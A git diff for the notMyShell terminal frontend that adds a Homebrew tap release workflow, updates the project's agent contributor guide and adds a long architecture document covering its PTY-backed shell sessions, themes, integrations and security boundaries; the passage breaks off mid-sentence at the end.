diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml new file mode 100644 index 00000000..258d777e --- /dev/null +++ b/.github/FUNDING.yml @@ -0,0 +1 @@ +github: raiseCatError diff --git a/.github/workflows/homebrew-tap.yml b/.github/workflows/homebrew-tap.yml new file mode 100644 index 00000000..71703ac0 --- /dev/null +++ b/.github/workflows/homebrew-tap.yml @@ -0,0 +1,67 @@ +name: Homebrew tap + +# After a stable GitHub release is published, propose the matching formula +# update to raiseCatError/homebrew-tap as a pull request (reviewable; the +# tap's own CI installs and tests it). Never runs for prereleases, dev pushes +# or pull requests. +# +# Needs one secret, HOMEBREW_TAP_TOKEN: a fine-grained token limited to the +# raiseCatError/homebrew-tap repository with Contents and Pull requests write. + +on: + release: + types: [published] + +permissions: + contents: read + +jobs: + formula: + if: ${{ !github.event.release.prerelease && !github.event.release.draft }} + runs-on: ubuntu-latest + steps: + - name: Release facts + id: release + env: + TAG: ${{ github.event.release.tag_name }} + run: | + # Strict stable semver only: the value later reaches a URL and a sed expression. + printf '%s' "$TAG" | grep -Eqx 'v[0-9]{1,4}\.[0-9]{1,4}\.[0-9]{1,4}' || { echo "Not a stable version tag."; exit 1; } + version="${TAG#v}" + url="https://github.com/${GITHUB_REPOSITORY}/archive/refs/tags/${TAG}.tar.gz" + curl -fsSL --retry 3 -o release.tar.gz "$url" + sha256="$(sha256sum release.tar.gz | cut -d' ' -f1)" + echo "version=$version" >> "$GITHUB_OUTPUT" + echo "url=$url" >> "$GITHUB_OUTPUT" + echo "sha256=$sha256" >> "$GITHUB_OUTPUT" + + - name: Check out the tap + uses: actions/checkout@v4 + with: + repository: raiseCatError/homebrew-tap + token: ${{ secrets.HOMEBREW_TAP_TOKEN }} + path: tap + + - name: Propose the formula update + working-directory: tap + env: + GH_TOKEN: ${{ secrets.HOMEBREW_TAP_TOKEN }} + VERSION: ${{ steps.release.outputs.version }} + URL: ${{ steps.release.outputs.url }} + SHA256: ${{ steps.release.outputs.sha256 }} + run: | + formula=Formula/nmsh.rb + if grep -q "^ url \"$URL\"$" "$formula"; then + # A published archive is immutable: never re-point the same version at different bytes. + grep -q "^ sha256 \"$SHA256\"$" "$formula" || { echo "The formula already names $URL with a different sha256. Publish a new patch release instead."; exit 1; } + echo "Formula already at $VERSION."; exit 0 + fi + sed -i -E "s|^ url \".*\"$| url \"$URL\"|; s|^ sha256 \".*\"$| sha256 \"$SHA256\"|" "$formula" + git diff --stat + branch="nmsh-$VERSION" + git switch -c "$branch" + git -c user.name=J -c user.email=315733358+raiseCatError@users.noreply.github.com commit -am "nmsh $VERSION" + git push origin "$branch" + gh pr create --title "nmsh $VERSION" --body "Release: https://github.com/raiseCatError/notMyShell/releases/tag/v$VERSION + Archive: $URL + sha256: $SHA256" diff --git a/.gitignore b/.gitignore index ba34fb68..b0939c4b 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,4 @@ dist/ node_modules/ .DS_Store +*.swp diff --git a/AGENTS.md b/AGENTS.md index cd5a47cb..44fe0177 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -1,12 +1,12 @@ # NMSh Agent Guide ## What NMSh is -notMyShell (NMSh) is a terminal frontend that operates over a persistent, real zsh session. Instead of replacing the shell or running commands as isolated subprocesses, NMSh orchestrates a hidden pseudo-terminal (PTY) running zsh. It captures input via a fixed editor, highlights it semantically, and sends it to the real shell. +notMyShell (NMSh) is a terminal frontend that operates over a persistent, real shell session (zsh by default, Bash 4.4+ or Fish through the ShellAdapter). Instead of replacing the shell or running commands as isolated subprocesses, NMSh orchestrates a hidden pseudo-terminal (PTY) running that shell. It captures input in its own composer, highlights it semantically, and sends it to the real shell. ## Core invariants - NMSh is a frontend over a persistent real shell. - Do not replace ShellSession with command-by-command spawning. -- Preserve real zsh state between commands. +- Preserve real shell state between commands (zsh, Bash and Fish alike). - Raw PTY stdout/stderr must remain raw/presentation-safe. - Do not semantically recolor arbitrary PTY output. - NMSh-owned submitted command lines may have semantic highlighting. @@ -29,9 +29,12 @@ notMyShell (NMSh) is a terminal frontend that operates over a persistent, real z - **history viewport**: Scrollable past commands and raw PTY output - **autocomplete/suggestions**: Real-time completion hints below the input - **live activity**: Real-time animation and elapsed time for running commands -- **context/prompt**: Evaluated from the shell and displayed on the bottom editor -- **persistent editor**: The fixed input box at the bottom of the screen -- **separator**: A visual divider between output and the editor +- **context/prompt**: Evaluated from the shell; NMSh Native or an external provider (Starship, Oh My Posh, Powerlevel10k), or None +- **composer**: The persistent editor, docked Bottom or Top, or in Flow after the newest output; one-line or two-line +- **composer edges**: Optional divider rows around the composer (one shared edge renderer); NMSh-owned accessories such as Keep Awake use a free edge and never touch prompt content +- **frontend chrome**: Status Strip, notices, find bar and accessory rows are planned by `src/app/screenPlan.ts`, never written to the transcript + +`src/app/screenPlan.ts` is the single geometry source per frame: render, hit testing, cursor, viewport and PTY sizing all read the same plan. NMSh uses a FOLLOW mode during execution, pinning the output viewport to the bottom. During historical inspection, it enters DETACHED mode. @@ -50,7 +53,17 @@ As the user types, partial input is tokenized. Known executables, aliases, and b Submitted commands retain their semantic presentation in the NMSh output history. The styling (e.g. lavender for known commands, red for unknown commands) persists even after the command completes. ## Shell compatibility -Released (0.16.0): a real ShellAdapter with zsh, Fish and Bash 4.4+ backends ([docs/architecture/shell-adapter.md](docs/architecture/shell-adapter.md)). Nushell and PowerShell remain future. +Released (0.16.0): a real ShellAdapter with zsh, Fish and Bash 4.4+ backends ([docs/architecture/shell-adapter.md](docs/architecture/shell-adapter.md)). Nushell and PowerShell remain future. Changes must keep all three backends working. + +## Safety boundaries +- Shell config, framework code and parseable tool configs are executable: never source, merge or silently edit them. Offered edits are exact diffs behind a confirmation. +- Theme imports and dotfiles are data: bounded parsers, no includes, templates, network or repository code execution; dotfiles exact copies fail closed. +- NMSh changes only what its ownership ledger proves it wrote; Keep Awake signals only its own verified process. +- Installs are typed argv shown before confirmation; special installers are never run by NMSh. +- Chroma never reaches generated external artifacts. + +## Current surfaces (unreleased beyond v0.16.0) +Theme Studio (`/theme`), Theme Bridge (`/theme-bridge`), `/providers`, `/tools` with filesystem-detected shell frameworks, `/configure`, `/tmux` Config Studio, `/integrations`, `/dotfiles`, the Oh My Posh provider, and Keep Awake (`/caffeinate`, `/awake`, `/zoomies`, with composer-edge, Status Strip, idle-reminder and screensaver presentation). See CHANGELOG.md → Unreleased. ## Testing / verification During implementation, run focused affected tests. Use `npm run verify:fast` for @@ -71,8 +84,11 @@ for sharding, platform gates and exact-release evidence requirements. npm run verify:fast npm run verify npm run verify:release +npm run demos # re-record README/docs media with VHS (scripts/demos/README.md) ``` +Do not hardcode test totals in docs; they change with every slice. + When writing tests involving `TerminalApp`, you must carefully tear down child processes and temp ZDOTDIRs: ```typescript app['stop'](0); @@ -87,6 +103,7 @@ app['session'].kill(); - prefer localized changes - do not casually rewrite the renderer or PTY architecture - no fabricated manual verification +- commits and PRs carry no AI attribution and no AI co-author trailers - distinguish automated verification from human GUI/runtime validation ## Planning and GitHub tracking @@ -102,10 +119,12 @@ For substantial implementation work: 5. **Only close work requiring human validation after that validation occurs** Key references: +- [ARCHITECTURE.md](ARCHITECTURE.md) — the human-readable architecture overview (runtime and data flows, repository map); deeper detail in `docs/architecture/` and `docs/design/` - [ROADMAP.md](ROADMAP.md) — product direction and issue index - [GitHub Issues](https://github.com/raiseCatError/notMyShell/issues) — actionable work - [v0.16.0 Release](https://github.com/raiseCatError/notMyShell/releases/tag/v0.16.0) — current stable release -- [PR #303](https://github.com/raiseCatError/notMyShell/pull/303) — the merged cumulative v0.16 release; [#308](https://github.com/raiseCatError/notMyShell/issues/308) tracks release readiness +- [PR #303](https://github.com/raiseCatError/notMyShell/pull/303) — the merged cumulative v0.16 release +- [PR #315](https://github.com/raiseCatError/notMyShell/pull/315) — open development PR for the work after v0.16.0 (not released; the package version stays 0.16.0) - [GitHub Project](https://github.com/users/raiseCatError/projects/1) — live development status board - [docs/architecture/terminal-stack.md](docs/architecture/terminal-stack.md) — terminology and stack model - [docs/design/structured-execution.md](docs/design/structured-execution.md) — v0.2.0 design decisions diff --git a/ARCHITECTURE.md b/ARCHITECTURE.md new file mode 100644 index 00000000..de1be363 --- /dev/null +++ b/ARCHITECTURE.md @@ -0,0 +1,379 @@ +# notMyShell Architecture + +## 1. The 30-second explanation + +notMyShell (NMSh) is a terminal frontend. It is not a shell: your real zsh, Bash, or Fish still interprets commands and runs programs. It is not a terminal emulator: Ghostty, Terminal.app, Kitty, or another terminal application still draws the window, fonts, and terminal cells. + +NMSh sits between them and owns the interaction around commands: the composer, suggestions, history presentation, command feedback, session navigation, panels, themes, and integrations. + +```text +Terminal emulator: window, fonts, terminal protocols + ↕ +NMSh frontend: editor, transcript, panels, presentation + ↕ session client +Session owner: usually a separate local NMSh service + ↕ pseudo-terminal (PTY) + Real zsh / Bash / Fish + ↕ + Programs / OS +``` + +The shell stays alive between commands. `cd`, exported variables, aliases, functions, and jobs therefore belong to a real continuing shell, rather than to a simulation assembled by NMSh. This document describes the current implementation, including development features; it is not a statement that every feature described has been released. + +## 2. What NMSh is made from + +The application is **TypeScript running on Node.js**, built into JavaScript for its command-line launcher. Node supplies process management, streams, filesystem access, events, and local sockets. TypeScript makes the contracts between shell events, settings, panels, and actions explicit. + +**node-pty** creates a pseudo-terminal: a communication channel that looks like a terminal to the shell and its programs. Ordinary pipes would not provide the same interactive behavior, terminal sizing, and job control. + +The frontend draws using **ANSI and related terminal escape sequences**. These are byte instructions for colors, cursor movement, screen modes, hyperlinks, and input reporting. NMSh has its own renderer and screen planner rather than a general web UI framework. **string-width** measures terminal cell widths so wide characters and decorative glyphs do not break wrapping and cursor placement. + +Small **shell bootstrap scripts** load the user's normal shell environment, suppress competing shell prompt/editor UI, and report command lifecycle events. Local JSON stores settings and transcripts. **smol-toml**, **yaml**, and **fast-xml-parser** support bounded data imports and reviewed configuration formats; they do not make executable configuration safe to run. + +The main coordinator is `TerminalApp`. It connects input, shell events, output state, panels, settings, and rendering. The editor, shell transport, transcript, and domain controllers provide more focused responsibilities around that coordinator. + +## 3. The terminal + shell relationship + +The outer terminal translates physical keys into bytes and displays bytes NMSh writes. NMSh reads those keys and usually edits its own command buffer. The real shell runs inside an inner PTY. + +The object that owns that PTY is `ShellSession`. It launches one persistent interactive shell, writes submissions, forwards interrupts, resizes the PTY, and separates authenticated lifecycle messages from program output. Normally a separate `SessionService` owns `ShellSession`; an in-process fallback can own it inside the frontend. + +```text +Normal command: +keys → NMSh editor → shell PTY → program +screen ← NMSh transcript ← PTY output + +Interactive/fullscreen program: +keys ─────────────────→ shell PTY → program +screen ←─────────────── program's terminal output + NMSh presentation suspended +``` + +The shell remains authoritative for parsing, expansion, pipes, redirections, working directory, and jobs. NMSh owns the editable text and its presentation. It does not turn each command into a separate Node subprocess. + +For fullscreen and interactive programs, NMSh switches to **passthrough**: it suspends its screen, gives the program the full terminal dimensions, and forwards input and output. A known-command heuristic can select this immediately; output classification can also detect terminal behavior that requires it. Terminal modes are tracked so attachment and return to the composer can restore the appropriate state. + +Typing `caffeinate -i` invokes a program through the shell and occupies that shell until it finishes. `/zoomies` invokes NMSh's separate Keep Awake controller. It can keep an OS assertion alive without occupying the managed shell. + +## 4. What happens when I type a command? + +Consider `npm test`: + +1. **Keystrokes arrive.** The key decoder turns terminal bytes into editing actions. NMSh's `CommandEditor` keeps the command text and cursor position. +2. **Presentation updates.** A synchronous lexical highlighter identifies words, strings, operators, and other tokens. Background command classification supplies facts such as whether `npm` is an executable, alias, or builtin. Suggestions and completion services offer candidates without executing the unfinished command. +3. **Enter submits.** `TerminalApp` reads the actual editor text and checks for an NMSh slash action. For a shell command, it creates a command block, captures historical context, starts activity feedback, and sends the text through the session client to `ShellSession`. +4. **The real shell executes.** Its bootstrap reports a command-start marker. The shell resolves `npm`, performs its own parsing, and launches the program in its continuing environment. +5. **Output returns through the PTY.** Shell protocol decoding removes NMSh lifecycle messages. Program output flows into the output buffer, where terminal formatting and progress updates are represented for the transcript. A session service also retains sequenced events for recovery and reattachment. +6. **The shell becomes ready again.** A marker reports exit status and working directory. NMSh completes the block, records elapsed time, updates history and context, and refreshes the prompt and suggestions. + +```text +key → editor → highlight/suggestions → submit → session client + → persistent shell → program → PTY output → transcript + → shell readiness marker → completed block + next prompt +``` + +The command's displayed colors never become part of the submitted text. A command can have rich NMSh presentation while the shell receives ordinary command text. + +## 5. The composer + +The **composer** is the whole input area: editable text, optional prompt/context, suggestions, and surrounding edges. The editor inside it supports multiline input and owns editing rather than delegating to the shell's line editor. + +The composer can be docked at **Bottom**, docked at **Top**, or placed in **Flow** after the newest transcript output. A one-line layout places context alongside input; a two-line layout separates them. Long input still wraps and can contain explicit newlines. Prompt None currently uses the one-line geometry. + +Prompt/context describes the shell and project; editable input is the command being composed. Dividers and borders are presentation around those regions. Accessories such as Keep Awake can occupy an available edge, an adjacent row, or trailing input space according to the screen plan. They do not become prompt-provider content or editable text. + +Each frame has one geometry plan, produced by `src/app/screenPlan.ts`. Rendering, cursor placement, wrapping, mouse hit testing, viewport height, panel placement, and PTY sizing use this shared plan. That prevents a border or accessory from shifting the cursor while another subsystem still assumes the old coordinates. + +## 6. Prompts and providers + +The prompt supplies context; NMSh supplies the composer that contains it. Current choices are: + +| Choice | Where context comes from | +|---|---| +| NMSh Native | NMSh modules for directory, project, Git, toolchains, and other context | +| None | No prompt/context content | +| Starship | A bounded invocation of the installed Starship executable | +| Powerlevel10k | An isolated zsh helper loading the installed theme and its configuration | +| Oh My Posh | A bounded invocation of the installed Oh My Posh executable | + +External renderers receive shell context such as directory and exit status. Their output is parsed into prompt content that NMSh lays out. They do not receive ownership of the live shell's editor. Powerlevel10k's helper deliberately disables ZLE, zsh's interactive line editor, so it cannot compete with NMSh. + +These helpers have time/output limits and use pipes rather than attaching their UI to the host terminal. They are still trust boundaries: running an installed prompt program or loading Powerlevel10k configuration can execute that provider's code. + +**Prompt None can still show a composer marker.** The marker identifies where input starts and belongs to NMSh's editor presentation. Removing context does not remove the editor's own marker or accessories. + +## 7. Output and transcript + +NMSh separates **program output** from **NMSh-authored presentation**. The output buffer, `OutputBuffer`, holds command records and parsed output lines. A transcript presenter decides how those records appear: command headers, historical context, feedback, folding, and spacing. + +Raw output is not blindly printed over the composer. `AnsiOutputParser` interprets a bounded subset of terminal behavior, including colors, carriage returns, backspaces, and hyperlinks, to retain a usable representation. Classification can choose transcript presentation, progress handling, or passthrough. This is not semantic recoloring of arbitrary stdout: the program's text and color choices remain its own. + +NMSh-authored submitted command lines can keep semantic highlighting. Folding changes which output rows are visible; it does not rerun commands or turn hidden output into a different result. Search, selection, and copy work from transcript state. `/copy` exports plain text without NMSh's ANSI chrome. + +Historical command blocks retain prompt/context snapshots from submission time. Viewing an old command should not pretend it ran in today's directory or Git state. Frontend chrome such as the Status Strip, find bar, and accessory rows stays outside the transcript. + +The viewport follows the newest output during execution (**FOLLOW**). Scrolling into history enters **DETACHED** viewport mode so new output does not pull the view away. This is a viewing state, distinct from detaching a live shell session. + +## 8. Sessions + +A **live session** is a running shell and PTY. A **saved transcript** is a record of what happened. Those have different lifetimes. + +Normally the frontend connects to a per-user local service, starting it on demand. The service owns shells independently of terminal windows, permits one controlling frontend per session, and keeps running when that frontend detaches or disappears. + +```text +create → attached ⇄ detached → shell exits / explicit termination + │ │ │ + └──── transcript journal ────────┘ + ↓ + saved transcript +``` + +Reattaching a live session reconnects to the same shell: aliases, variables, jobs, and current program remain there. The frontend restores its journal and replays later service events. Restoring an archived transcript through `/resume` replaces this window's presentation, archiving its current view first, while retaining its current live shell. It cannot resurrect the archived shell's environment or jobs. + +Retention is bounded. Unacknowledged stream events begin in memory and spill to a JSON-lines spool. Once a frontend has durably journaled events, it acknowledges their sequence numbers. Output beyond spool limits can be dropped, with truncation reported on replay. + +If the service cannot be established before session creation is confirmed, NMSh falls back to an in-process shell with a notice. That shell cannot survive frontend exit or be detached and reattached. A service crash or OS restart also does not magically preserve live processes. + +Session status combines authenticated shell lifecycle, observed terminal modes, activity emitted by programs, and the PTY's foreground-process name when available. Silence does not prove completion or a need for attention. Unknown facts remain unknown rather than being guessed from an animation or command name. + +## 9. ShellAdapter + +Shell-specific behavior lives behind a common boundary called `ShellAdapter`. Its three implementations support **zsh**, **Bash 4.4 or newer**, and **Fish**. All launch real persistent interactive shells and report the same lifecycle grammar. + +Adapters own executable selection, bootstrap files, environment setup, builtins, history parsing, and completion sources. The composer, transcript, session transport, and panels remain shared. Capabilities describe real differences: Bash completion does not provide Fish-style descriptions, for example. + +The zsh adapter uses a private bootstrap directory and disables ZLE. Bash uses a private rcfile and disables Readline editing. Fish retains its editor internally, so NMSh suppresses its prompt-to-command redraw bytes and answers necessary terminal queries. Consequently, Fish messages printed while idle at its prompt can also be suppressed. + +The interactive shell loads the user's startup configuration as part of normal shell startup. NMSh does not rewrite those files to establish its UI. Startup output is bounded and sanitized; typed input waits for readiness so it cannot accidentally answer a `read` in a startup file. Bootstrap also suppresses automatic Fastfetch startup. + +Command classification uses an isolated zsh helper, `SemanticService`, or live-name snapshots plus PATH classification for Bash/Fish. Completion helpers are separate from the execution PTY. They query trusted shell facilities without executing the partial command as a submission. + +Switching backend replaces the shell while keeping NMSh session identity, history, draft, and settings. The current implementation archives the old presentation and starts a fresh view for the new backend. It does not migrate aliases, variables, or jobs. Switching is refused while execution, startup, or known background/stopped jobs make replacement unsafe. + +## 10. Slash commands and NMSh actions + +`npm test` goes to the real shell. Recognized slash commands such as `/theme`, `/tools`, and `/zoomies` are parsed into **NMSh actions** and dispatched inside the frontend. + +These actions open panels, update settings, navigate sessions, or invoke a domain controller. They are not aliases installed in the user's shell. The slash parser returns structured action kinds instead of treating every action as a shell string. Unknown single-line slash input currently reports an unknown NMSh command rather than executing it. + +Panels are control surfaces for NMSh state and supported integrations. Where an action changes external files or installs software, its controller builds a specific reviewed operation rather than handing panel text to a shell. + +## 11. notMyUI / panel system + +**notMyUI** is the shared terminal UI vocabulary used by NMSh panels. It is implemented in this repository, primarily under `src/ui/`, rather than as an independent application framework. + +Shared primitives handle panel frames, tabs, grouped lists, selected rows, controls, colors, glyphs, and focus presentation. Domain panels hold their own state and turn keyboard or mouse interaction into actions; the coordinator dispatches those actions and integrates the panel with screen geometry. + +Rows identify selectable settings or commands. Focus determines whether navigation operates on a list, tabs, or an editing control. Settings and the command palette reuse these ideas, making different features feel related without forcing every panel into an identical widget implementation. + +## 12. Themes and appearance + +A **semantic palette** names colors by purpose: primary text, subtle text, success, warning, failure, selection, syntax roles, and so on. Native themes map those roles to actual colors. Renderers can then agree on what a warning means without each choosing a hardcoded color. + +**Theme Studio** creates, edits, imports, duplicates, and exports NMSh themes. Imported colors become normal local theme assets with stable IDs and source metadata. They do not require the original application or source file to remain installed. Imports parse supported formats as data rather than executing Lua, templates, shell snippets, or includes. + +**Chroma** adds decorative treatments, gradients, and motion to eligible NMSh surfaces. It is a presentation layer, not a replacement for the palette's underlying meaning. It does not enter generated external artifacts. + +Glyph modes choose between richer symbols and more portable alternatives. Color capability detection, `NO_COLOR`, and reduced-motion settings degrade presentation without changing command behavior. Cursor presentation, idle visuals, and UI chrome have their own settings around the shared appearance system. + +Theme Studio controls NMSh's appearance. **Theme Bridge** is the separate mechanism for extending selected colors to external tools. + +## 13. Theme Bridge + +Choosing an NMSh theme does not automatically rewrite application configuration. Theme Bridge is an explicit, initially disabled system with known target adapters. + +Its global policy can **Follow NMSh**, **Choose theme** to pin a theme, or **Manual** to use each target's saved choice. Per-target choices are Independent, Follow NMSh, and Choose theme. Global policy changes preserve the Manual choices for later restoration. + +| Current target | How colors reach it | +|---|---| +| fzf | NMSh-controlled invocation options | +| less / man | Allowlisted session environment values | +| File listing colors | GNU/BSD color variables and controlled listing behavior | +| bat | Generated theme file, reviewed cache setup, and theme environment selection | +| tmux | Generated managed configuration/colors and reviewed activation | +| Neovim / Vim | Generated colorschemes and reviewed activation hooks | +| Helix | Generated theme in its themes directory and reviewed selection | +| delta | Detected only; NMSh does not manage its Git configuration | + +Environment changes reach a persistent shell through one **environment sink**: generated files for zsh, Bash, and Fish, applied by the adapter's prompt hook. Their grammar permits allowlisted variables and quoted literals. Values take effect at the next prompt. Clearing a value restores what NMSh replaced only while the shell still contains NMSh's value. + +Generated files and inserted activation lines are recorded in an **ownership ledger**. Content hashes prove whether a file still matches what NMSh wrote. A user-edited or unrecognized artifact causes a conflict instead of being overwritten. Activation in executable configuration is an exact reviewed edit, not a generic merge of shell, Lua, or Vimscript. bat and Helix need artifacts in their own theme directories; many other artifacts live under NMSh's Theme Bridge directory. + +## 14. Tools, providers and integrations + +These terms describe different relationships: + +| Term | Meaning in NMSh | +|---|---| +| Tool | A curated external utility or detected shell-environment component | +| Provider | A selected implementation of a frontend role, such as prompt, history, picker, suggestions, or navigation | +| Integration | A supported connection to an external system, including health and ownership information | +| Configurable tool | A tool with a reviewed configuration adapter; detection alone is insufficient | +| Shell framework | Shell code/plugins loaded by startup configuration, such as Oh My Zsh or Prezto | +| Package-manager infrastructure | Software such as Homebrew that installs and manages other packages | + +`src/tools/catalog.ts` is the central curated tool registry. It records detection, categories, installation recipes, and relevant capabilities. Frameworks can be detected from filesystem evidence even when they have no executable on PATH. Detection grants no automatic installation or write authority. + +The provider-family registry connects role choices to persisted settings. The tool-configuration registry separately determines what `/configure` may manage. `/integrations` presents integration readiness and repair/setup actions, including Theme Bridge health. + +Homebrew is package-manager infrastructure: NMSh uses it for known install recipes and package facts. It is not simply another interchangeable prompt or utility provider. Special installers and framework setup have explicit flows and boundaries rather than being treated as ordinary package names. + +## 15. Dotfiles + +The dotfiles surface discovers recognized configuration in a local directory or checkout, including plain, Git, GNU Stow-style, and chezmoi layouts. An explicit remote flow can obtain a checkout before scanning. Repository content remains untrusted data. + +Discovery is bounded by entry count, depth, and file size. Recognition uses the tool-configuration registry. Symlinks are shown without being followed; scripts and templates are identified without being run or rendered. + +The review plan distinguishes supported field imports, exact copies, and inspect-only files. tmux imports supported options and bindings into NMSh's own model. Exact copying requires a registry-specific validator: being valid TOML or JSON alone is insufficient. Executable configurations remain inspect-only in this workflow. + +Changes are reviewed before application. Copy plans check whether the destination changed since review and back up existing content. NMSh does not execute repository installers, hooks, Make targets, Stow operations, chezmoi scripts, or arbitrary configuration code to discover what a repository means. + +## 16. Keep Awake + +`/caffeinate`, `/awake`, and `/zoomies` are three names for one NMSh-owned feature. A controller creates an OS power assertion in a detached background process, independently of the shell PTY. + +Backends use Apple's fixed-path `caffeinate` on macOS, `systemd-inhibit` around an NMSh wait helper on supported Linux systems, and an execution-state helper on Windows when its prerequisite is available. Capabilities differ: the Linux backend does not claim display inhibition. This backend's Windows code does not imply native Windows shell/frontend support. + +NMSh records the PID, launch arguments, ownership token where applicable, mode, and timing. Before stopping an assertion it verifies that the live process matches its owned record, rather than killing any process named `caffeinate` or trusting a reused PID. Stop sends termination to that verified process and only escalates while ownership still matches. + +The assertion can outlive an NMSh window. Duration and explicit stop control its lifetime. Presentation can use a composer accessory, Status Strip, idle reminder, or screensaver state; those are views of the controller's state, not text sent to the shell. + +## 17. Host / terminal integration + +Terminal integration uses optional escape-sequence protocols. **OSC** means Operating System Command, a terminal protocol family; these messages are not shell commands. + +- **OSC 7** tells a host the current directory, helping it open new tabs or panes in the right place. +- **OSC 8** attaches hyperlink targets to displayed text. +- **OSC 133** marks prompt, input, command-start, and command-end zones for cooperating terminals or multiplexers. +- **Private OSC 777 NMSh messages** carry shell readiness and execution events with a per-session token. NMSh validates that token before treating output as lifecycle evidence. + +Public host markers are derived from NMSh's authenticated lifecycle. NMSh does not depend on receiving them back, and holds them while a fullscreen program owns the screen. + +Capability detection combines passive host profiles and active probes. Ghostty, Kitty, WezTerm, iTerm2, and Windows Terminal have specific hints; Terminal.app receives conservative baseline behavior plus directory signaling. Windows Terminal detection can describe a WSL host without implying native Windows execution support. + +Keyboard, mouse, synchronized drawing, hyperlinks, colors, and graphics degrade independently. Direct preference/keyboard configuration integration is currently Ghostty-specific. tmux and other multiplexers hide outer-host hints, so NMSh does not assume that an outer terminal's graphics or keyboard features work unchanged inside a pane. + +## 18. tmux + +tmux is an independent multiplexer that owns sessions, windows, panes, borders, and its status line. NMSh can run inside a pane, or a shell command can launch tmux through passthrough. + +Theme Bridge supplies colors. **Config Studio**, opened through `/tmux`, manages supported options, keys, a status layout, and an optional pane frontend. NMSh stores a typed model and generates one managed configuration file that combines its settings and applicable Bridge colors. The user's config includes that file through a reviewed activation step. + +The optional **NMSh pane frontend** changes tmux's `default-command` for new panes/windows without an explicit command. It does not change `default-shell`, which still identifies the shell tmux uses to launch commands. Existing panes retain their current processes. The generated launcher guards against recursively starting NMSh inside NMSh's managed shell. + +The prompt inside a pane belongs to the program running there; tmux's status appearance is a different owner. Config Studio imports only supported literal settings and bindings, leaving dynamic commands and unsupported configuration outside its model. + +## 19. Ask + +Ask resolves plain-English requests into NMSh's existing capabilities. Its first path is deterministic: intents, command knowledge, project facts, and supported actions work without a model. + +Results are typed answers, proposals, choices, unsupported requests, or refusals. Actions identify specific operations such as opening a panel, attaching a session, changing a setting, running a fixed command, or applying a verified edit plan. Existing controllers perform those operations. + +Optional **local understanding** can help interpret requests when enabled. Auto uses a model when deterministic interpretation is unclear or ambiguous; Always prefers model assistance while still using deterministic action builders. A separate local model service manages runtime work. Model assistance chooses from a bounded capability inventory and produces validated structured interpretations. NMSh then resolves those interpretations against known facts and its deterministic policies; a failed model leaves the deterministic result available. + +Model text is not directly executed as a shell command or filesystem operation. Configuration, mutation, and installation require confirmation of the exact action in Ask; destructive suggestions are Copy/Insert only. Copying or inserting a suggested command does not execute it. File plans and supported configuration still use their normal path, hash, and ownership checks. + +## 20. Configuration and persistence + +Let `` mean the directory selected by the shared path resolver: + +- An absolute `$XDG_CONFIG_HOME/nmsh` when `XDG_CONFIG_HOME` is set. +- Otherwise `~/Library/Application Support/notMyShell` on macOS. +- Otherwise `~/.config/nmsh`. + +| State | Location / owner | +|---|---| +| Settings, provider choices, theme assets, Bridge policy | `/config.json` | +| Saved transcripts and summary metadata | `/sessions/` | +| Bridge environment files and ownership ledger | `/theme-bridge/` | +| Most generated Bridge artifacts | Subdirectories of `theme-bridge/`; bat/Helix themes use their tool directories | +| tmux's typed configuration model | `/tools/tmux.json` | +| Keep Awake process record | `/keep-awake.json` | +| Live service sockets and stream spools | Private runtime directory, separate from configuration | + +On Linux, a verified private `$XDG_RUNTIME_DIR/nmsh` is preferred for live runtime data. Otherwise NMSh uses a private per-user temporary directory; `NMSH_RUNTIME_DIR` can override it. Socket names distinguish protocol versions. Live shell environment stays in memory, not in the transcript store as a recoverable shell image. + +Configuration loading normalizes data, supplies defaults, and migrates older shapes. Theme-library normalization maintains stable references and a compatibility mirror of the active custom theme. Saving settings uses staged replacement and preserves unrelated fields; unreadable or malformed existing settings are refused for saving rather than silently overwritten. + +## 21. Security boundaries + +The central distinction is between **data NMSh can validate** and **code an external system executes**. Normal interactive shell startup and explicitly selected providers execute trusted user-installed code. Import and discovery workflows do not receive that same authority. + +Theme imports use bounded parsers without templates, includes, or code execution. Arbitrary configuration is not generically rewritten. Supported installs and helper operations use fixed executables and structured argument arrays rather than interpolating requests into shell strings. Helpers have time/output bounds appropriate to their role. + +Generated-file hashes and ownership records protect external artifacts; process verification protects stop/kill operations. A discovered file, tool, or PID is not proof that NMSh owns it. Raw PTY output retains program formatting through a controlled presentation path, and unauthenticated output cannot complete an NMSh command by impersonating its private protocol. + +These boundaries do not make arbitrary shell commands or providers harmless. They constrain NMSh's own authority. See [SECURITY.md](SECURITY.md) for the security policy and detailed trust boundaries. + +## 22. Repository map + +| If you want to understand… | Start here | +|---|---| +| Startup and frontend orchestration | `src/index.ts`, `src/app/` | +| Screen layout and terminal drawing | `src/app/screenPlan.ts`, `src/terminal/` | +| Editing, highlighting, suggestions | `src/input/`, `src/suggestions/` | +| PTY, adapters, shell knowledge and completion | `src/shell/` | +| Live service, sockets, replay and attachment | `src/session/` | +| Saved transcripts and resume UI | `src/sessions/` | +| Output parsing, folding, selection and presentation | `src/output/` | +| Native/external prompts and shared settings | `src/prompt/`, `src/configuration/` | +| Panels and shared UI primitives | `src/ui/` plus feature-specific panel modules | +| Theme Studio, palettes and decoration | `src/appearance/`, `src/chroma/`, `src/motion/`, `src/cursor/`, `src/idle/` | +| External colors and ownership | `src/themeBridge/` | +| Curated tools, configuration and packages | `src/tools/`, `src/providers/`, `src/packages/` | +| Dotfiles and Keep Awake | `src/dotfiles/`, `src/keepAwake/` | +| Slash actions, Ask and optional local models | `src/commands/`, `src/ask/`, `src/understanding/` | +| Host capabilities and passthrough policy | `src/host/`, `src/presentation/`, `src/passthrough/` | +| Agent-session integration and managed tasks | `src/agents/`, `src/tasks/` | +| Automated behavior evidence | `tests/`, verification scripts in `scripts/` | + +## 23. A few end-to-end examples + +### Running `git status` + +`editor text → semantic command presentation → submission block → session client → real shell → Git → PTY output → parsed transcript → readiness/status marker → completed block and refreshed context` + +Git chooses its output; NMSh supplies the surrounding command history and feedback. + +### Opening `/theme` + +`slash parser → Theme Studio state → shared panel primitives + screen plan → edit/select local theme → normalized settings save → NMSh surfaces repaint` + +An enabled Follow NMSh Bridge policy can then synchronize supported external targets through their own adapters. + +### Starting `/zoomies display` + +`slash parser → Keep Awake controller → backend capability check → fixed OS launch → ownership record → accessory/status presentation` + +On macOS this creates a display assertion outside the shell. A backend without display support reports that limitation instead of pretending it worked. + +### Detaching and resuming a session + +`/detach → journal checkpoint → frontend disconnect → service retains shell + output events → nmsh --attach → same shell attachment → journal restore + event replay → composer or active-program passthrough` + +`/resume` also offers saved transcripts. Selecting an archive restores its 